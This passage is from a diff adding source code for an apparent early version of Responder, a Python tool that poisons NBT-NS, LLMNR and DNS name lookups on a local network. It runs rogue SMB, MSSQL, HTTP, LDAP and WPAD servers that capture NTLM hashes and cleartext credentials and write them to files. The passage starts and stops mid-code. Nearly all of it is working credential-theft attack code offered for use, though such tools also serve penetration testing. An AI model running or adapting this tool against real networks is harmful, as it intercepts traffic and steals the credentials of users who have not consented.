"Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is On", metavar="On", choices=['On','Off'], default="On") + +options, args = parser.parse_args() + +if options.OURIP is None: + print "-i mandatory option is missing\n" + parser.print_help() + exit(-1) + +if len(options.optChal) is not 16: + print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n" + parser.print_help() + exit(-1) + +#Logger +import logging +logging.basicConfig(filename=str(options.sessionLog),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') +logging.warning('Responder Started') + +# Set some vars. +OURIP = options.OURIP +Basic = options.Basic +On_Off = options.on_off.upper() +SMB_On_Off = options.SMB_on_off.upper() +SQL_On_Off = options.SQL_on_off.upper() +FTP_On_Off = options.FTP_On_Off.upper() +LDAP_On_Off = options.LDAP_On_Off.upper() +Finger_On_Off = options.Finger.upper() +DNS_On_Off = options.DNS_On_Off.upper() +WPAD_On_Off = options.WPAD_On_Off.upper() +Wredirect = options.Wredirect +NumChal = options.optChal + + +def Show_Help(ExtraHelpData): + help = "NBT Name Service/LLMNR Answerer 1.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" + help+= ExtraHelpData + print help + +#Function used to write captured hashs to a file. +def WriteData(outfile,data): + with open(outfile,"w") as outf: + outf.write(data) + outf.write("\n") + outf.close() + +# Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. +Challenge = "" +for i in range(0,len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") + +Show_Help("[+]NBT-NS & LLMNR responder started\nGlobal Parameters set\nChallenge set is: %s\nWPAD Proxy Server is:%s\nHTTP Server is:%s\nSMB Server is:%s\nSQL Server is:%s\nFTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\n"%(NumChal,WPAD_On_Off,On_Off,SMB_On_Off,SQL_On_Off,FTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off)) + +#Simple NBNS Services. +W_REDIRECT = "\x41\x41\x00" +FILE_SERVER = "\x43\x41\x00" + + +#Packet class handling all packet generation (see odict.py). +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +#Function name self-explanatory +def Is_Finger_On(Finger_On_Off): + if Finger_On_Off == "ON": + return True + if Finger_On_Off == "OFF": + return False + +################################################################################## +#NBT NS Stuff +################################################################################## + +#NBT-NS answer packet. +class NBT_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("NbtName", ""), + ("Type", "\x00\x20"), + ("Classy", "\x00\x01"), + ("TTL", "\x00\x00\x00\xa5"), + ("Len", "\x00\x06"), + ("Flags1", "\x00\x00"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["NbtName"] = data[12:46] + self.fields["IP"] = inet_aton(OURIP) + +# Define what are we answering to. +def Validate_NBT_NS(data,Wredirect): + if FILE_SERVER == data[43:46]: + return True + if Wredirect == "1": + if W_REDIRECT == data[43:46]: + return True + else: + return False + +# NBT_NS Server class. +class NB(SocketServer.BaseRequestHandler): + def server_bind(self): + self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) + self.socket.bind(self.server_address) + self.socket.setblocking(0) + + def handle(self): + request, socket = self.request + data = request + if data[2:4] == "\x01\x10": + if Validate_NBT_NS(data,Wredirect): + buff = NBT_Ans() + buff.calculate(data) + for x in range(1): + socket.sendto(str(buff), self.client_address) + print "NBT-NS Answer sent to: ", self.client_address[0] + logging.warning('NBT-NS Answer sent to: %s'%(self.client_address[0])) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + pass + +################################################################################## +#Browser Listener +################################################################################## +def FindPDC(data,Client): + DataOffset = struct.unpack(' 220: + SSPIStart = data[79:] + LMhashLen = struct.unpack(' 220: + SSPIStart = data[79:]#LenOfLen set for ASN... + LMhashLen = struct.unpack(' 60: + print "[+]SMB-NTLMv2 hash captured from : ",client + outfile = "SMB-NTLMv2-Client-"+client+".txt" + NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' 2: + Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") + User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") + print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) + logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) + +#SMB Server class. +class SMB1(SocketServer.BaseRequestHandler): + def server_bind(self): + self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) + self.socket.bind(self.server_address) + self.socket.setblocking(0) + self.socket.setdefaulttimeout(2) + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(2) + ##session request 139 + if data[0] == "\x81": + buffer0 = "\x82\x00\x00\x00" + self.request.send(buffer0) + data = self.request.recv(1024) + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + # Customize SMB answer. + head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) + t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data)) + t.calculate() + final = t + packet0 = str(head)+str(final) + buffer0 = longueur(packet0)+packet0 + self.request.send(buffer0) + data = self.request.recv(1024) + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + IsNT4ClearTxt(data) + head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) + t.calculate() + final = t + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(4096) + if data[8:10] == "\x73\x00": + if Is_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data)) + final = SMBSessEmpty()###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + else: + ParseSMBHash(data,self.client_address[0]) + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = SMBSession2Accept() + final.calculate() + packet2 = str(head)+str(final) + buffer2 = longueur(packet2)+packet2 + self.request.send(buffer2) + data = self.request.recv(1024) + ##Tree Connect IPC Answer + if data[8:10] == "\x75\x00": + ParseShare(data) + head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + t = SMBTreeData() + t.calculate() + final = t + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##Tree Disconnect. + if data[8:10] == "\x71\x00": + head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##NT_CREATE Access Denied. + if data[8:10] == "\xa2\x00": + head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##Trans2 Access Denied. + if data[8:10] == "\x25\x00": + head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + ##LogOff. + if data[8:10] == "\x74\x00": + head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + final = "\x02\xff\x00\x27\x00\x00\x00" + packet1 = str(head)+str(final) + buffer1 = longueur(packet1)+packet1 + self.request.send(buffer1) + data = self.request.recv(1024) + + except Exception: + pass #no need to print errors.. + +################################################################################## +#SQL Stuff +################################################################################## +from SQLPackets import * + +#This function parse SQL NTLMv1/v2 hash and dump it into a specific file. +def ParseSQLHash(data,client): + SSPIStart = data[8:] + LMhashLen = struct.unpack(' 60: + print "[+]MSSQL NTLMv2 Hash captured from :",client + logging.warning('[+]MsSQL NTLMv2 hash captured from :%s'%(client)) + DomainLen = struct.unpack('h",len(self.fields["IP"])) + self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] + self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + +def Parse_LLMNR_Name(data,addr): + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + print "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(addr[0],Name) + logging.warning('LLMNR poisoned answer sent to this IP: %s. The requested name was : %s.'%(addr[0],Name)) + return Name + +def Parse_IPV6_Addr(data): + Len = len(data) + if data[Len-4:Len][1] =="\x1c": + return False + else: + return True + +def RunLLMNR(): + ALL = "0.0.0.0" + MADDR = "224.0.0.252" + MPORT = 5355 + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) + sock.bind((ALL,MPORT)) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) + ## Join IGMP Group. + Join = sock.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR) + inet_aton(ALL)) + while True: + try: + data, addr = sock.recvfrom(1024) + if data[2:4] == "\x00\x00": + if Parse_IPV6_Addr(data): + global Name + Name = Parse_LLMNR_Name(data,addr) + buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + buff.calculate() + for x in range(1): + sock.sendto(str(buff), addr) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((addr[0],445)) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(addr[0])) + pass + except: + raise + +################################################################################## +#DNS Stuff +################################################################################## +def ParseDNSType(data): + QueryTypeClass = data[len(data)-4:] + if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. + return True + else: + return False + +#DNS Answer packet. +class DNSAns(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x80\x10"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x01"), + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) + self.fields["IP"] = inet_aton(OURIP) + self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + +# DNS Server class. +class DNS(SocketServer.BaseRequestHandler): + def server_bind(self): + self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1) + self.socket.bind(self.server_address) + self.socket.setblocking(0) + + def handle(self): + request, socket = self.request + data = request + if ParseDNSType(data): + buff = DNSAns() + buff.calculate(data) + socket.sendto(str(buff), self.client_address) + print "DNS Answer sent to: %s "%(self.client_address[0]) + logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) + +################################################################################## +#HTTP Stuff +################################################################################## +from HTTPPackets import * + +#Parse NTLMv1/v2 hash. +def ParseHTTPHash(data,client): + LMhashLen = struct.unpack(' 24: + print "[+]HTTP NTLMv2 hash captured from :",client + logging.warning('[+]HTTP NTLMv2 hash captured from :%s'%(client)) + NthashLen = 64 + DomainLen = struct.unpack('i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack('. +import struct +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +#Calculate total SMB packet len. +def longueur(payload): + length = struct.pack(">i", len(''.join(payload))) + return length + +#Set MID SMB Header field. +def midcalc(data): + pack=data[34:36] + return pack + +#Set UID SMB Header field. +def uidcalc(data): + pack=data[32:34] + return pack + +#Set PID SMB Header field. +def pidcalc(data): + pack=data[30:32] + return pack + +#Set TID SMB Header field. +def tidcalc(data): + pack=data[28:30] + return pack + + +################################################################################## +class SMBHeader(Packet): + fields = OrderedDict([ + ("proto", "\xff\x53\x4d\x42"), + ("cmd", "\x72"), + ("errorcode", "\x00\x00\x00\x00" ), + ("flag1", "\x00"), + ("flag2", "\x00\x00"), + ("pidhigh", "\x00\x00"), + ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", "\x00\x00"), + ("tid", "\x00\x00"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), + ("mid", "\x00\x00"), + ]) +################################################################################## +class SMBNegoAns(Packet): + fields = OrderedDict([ + ("Wordcount", "\x11"), + ("Dialect", ""), + ("Securitymode", "\x03"), + ("MaxMpx", "\x32\x00"), + ("MaxVc", "\x01\x00"), + ("MaxBuffSize", "\x04\x41\x00\x00"), + ("MaxRawBuff", "\x00\x00\x01\x00"), + ("SessionKey", "\x00\x00\x00\x00"), + ("Capabilities", "\xfd\xf3\x01\x80"), + ("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"), + ("SrvTimeZone", "\xf0\x00"), + ("KeyLen", "\x00"), + ("Bcc", "\x57\x00"), + ("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"), + ("InitContextTokenASNId", "\x60"), + ("InitContextTokenASNLen", "\x5b"), + ("ThisMechASNId", "\x06"), + ("ThisMechASNLen", "\x06"), + ("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"), + ("SpNegoTokenASNId", "\xA0"), + ("SpNegoTokenASNLen", "\x51"), + ("NegTokenASNId", "\x30"), + ("NegTokenASNLen", "\x4f"), + ("NegTokenTag0ASNId", "\xA0"), + ("NegTokenTag0ASNLen", "\x30"), + ("NegThisMechASNId", "\x30"), + ("NegThisMechASNLen", "\x2e"), + ("NegThisMech4ASNId", "\x06"), + ("NegThisMech4ASNLen", "\x09"), + ("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"), + ("NegTokenTag3ASNId", "\xA3"), + ("NegTokenTag3ASNLen", "\x1b"), + ("NegHintASNId", "\x30"), + ("NegHintASNLen", "\x19"), + ("NegHintTag0ASNId", "\xa0"), + ("NegHintTag0ASNLen", "\x17"), + ("NegHintFinalASNId", "\x1b"), + ("NegHintFinalASNLen", "\x15"), + ("NegHintFinalASNStr", "server2008$@SMB.LOCAL"), +## END + + ]) + + def calculate(self): + + CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + + AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + + AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + + MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"]) + + Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + + self.fields["Bcc"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + + ###### Andxoffset calculation. + CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen + + self.fields["Andxoffset"] = struct.pack(". +import struct +from odict import OrderedDict + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +#MS-SQL Pre-login packet class +class MSSQLPreLoginAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\x25"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\x00"), + ("VersionOffset", "\x00\x15"), + ("VersionLen", "\x00\x06"), + ("TokenType1", "\x01"), + ("EncryptionOffset", "\x00\x1b"), + ("EncryptionLen", "\x00\x01"), + ("TokenType2", "\x02"), + ("InstOptOffset", "\x00\x1c"), + ("InstOptLen", "\x00\x01"), + ("TokenTypeThrdID", "\x03"), + ("ThrdIDOffset", "\x00\x1d"), + ("ThrdIDLen", "\x00\x00"), + ("ThrdIDTerminator", "\xff"), + ("VersionStr", "\x09\x00\x0f\xc3"), + ("SubBuild", "\x00\x00"), + ("EncryptionStr", "\x02"), + ("InstOptStr", "\x00"), + ]) + + def calculate(self): + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) + + VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) + + EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) + + InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) + + ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + #Version + self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + #Encryption + self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + #InstOpt + self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + #ThrdIDOffset + self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + +#MS-SQL NTLM Negotiate packet class +class MSSQLNTLMChallengeAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\xc7"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\xed"), + ("SSPIBuffLen", "\xbc\x00"), + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + ##First convert to uni + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + ##Then calculate + + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + + CalculateAvPairsLen = 